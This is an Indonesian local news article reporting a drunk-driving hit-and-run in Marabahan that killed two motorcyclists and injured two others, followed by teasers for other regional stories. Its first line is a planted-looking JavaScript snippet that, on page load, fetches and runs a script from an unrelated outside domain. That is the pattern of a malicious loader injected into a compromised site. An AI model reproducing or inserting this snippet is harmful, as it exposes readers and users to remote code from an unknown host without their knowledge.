(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARABAHAN, Pengemudi mobil Honda City yang menyebabkan kecelakaan tragis di Jalan Panglima Antasari, Kecamatan Marabahan, Kabuapten Batola, rupanya merupakan seorang Pegawai Negeri Sipil (PNS) sebagai Penyuluh Perikanan Kota Batulicin, Kabupaten Tanah Bumbu. Adalah Riyan Erwan Noor S yang bertempat tinggal di Jalan Ulu Benteng, Kecamatan Marabahan Kabupaten Batola.
Riyan Erwan yang saat itu mengendarai Mobil Honda City dengan Nopol B 1753 NES sedang menuju Marabahan dari arah Banjarmasin dengan kecepatan tinggi. Namun mengejutkanya, ia melancarkan aksi tabrak lari kepada pengendara sepeda motor dekat warung dan mengakibatkan 2 orang meninggal dunia di tempat yakni Sani (40) warga Pasar Wankang, Kecamatan Marabahan dan Toto (42) warga Jalan Kartini Kelurahan Marabahan, Kecamatan Marabahan.
Tidak sampai disitu, mobil kembali melaju menuju ke arah Lapangan 5 Desember dan kembali menabrak pengendara sepeda motor berjumlah dua orang di simpang empat lampu merah.
Akibatnya, dua orang yang diketahui bernama Ibrahim dan Aliyansyah mendapati luka-luka dan harus dirawat ke RS Umum Abdul Azis Marabahan.
Laju mobil tersebut akhirnya terhenti, usai menabrak warung yang berada di jalan Panglima Antasari Kelurahan Marabahan Kota, Kecamatan Marabahan, Kabupaten Batola.
Kasat Lantas Polres Barito Kuala, AKP Didik Suhartanto mengatakan pihaknya masih mendalami peristiwa tragis ini. Sementara itu pihaknya mengamankan pengemudi mobil Riyan Erwan guna dimintai keterangan.
“Masih kita lakukan penyelidikan serta meminta keterangan para saksi di lokasi kejadian,†ujarnya.
Adapun kerugian materiil dalam kejadian ini, yakni dua warung rusak berat, satu mobil rusak berat, dan dua motor rusak berat. Sopir mobil Honda City sudah diamankan ke Mapolres Barito Kuala untuk proses penyelidikan lebih lanjut. Dua korban luka-luka sempat dirawat di RSUD Abdul Azis Marabahan. Ibrahim dirujuk ke Banjarmasin karena kritis.
Dari informasi yang didapat Kanalkalimantan, Riyan Erwan melakukan aksi bak laga film action tersebut lantaran sedang dalam kondisi mabuk. (rico)
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
This website uses cookies.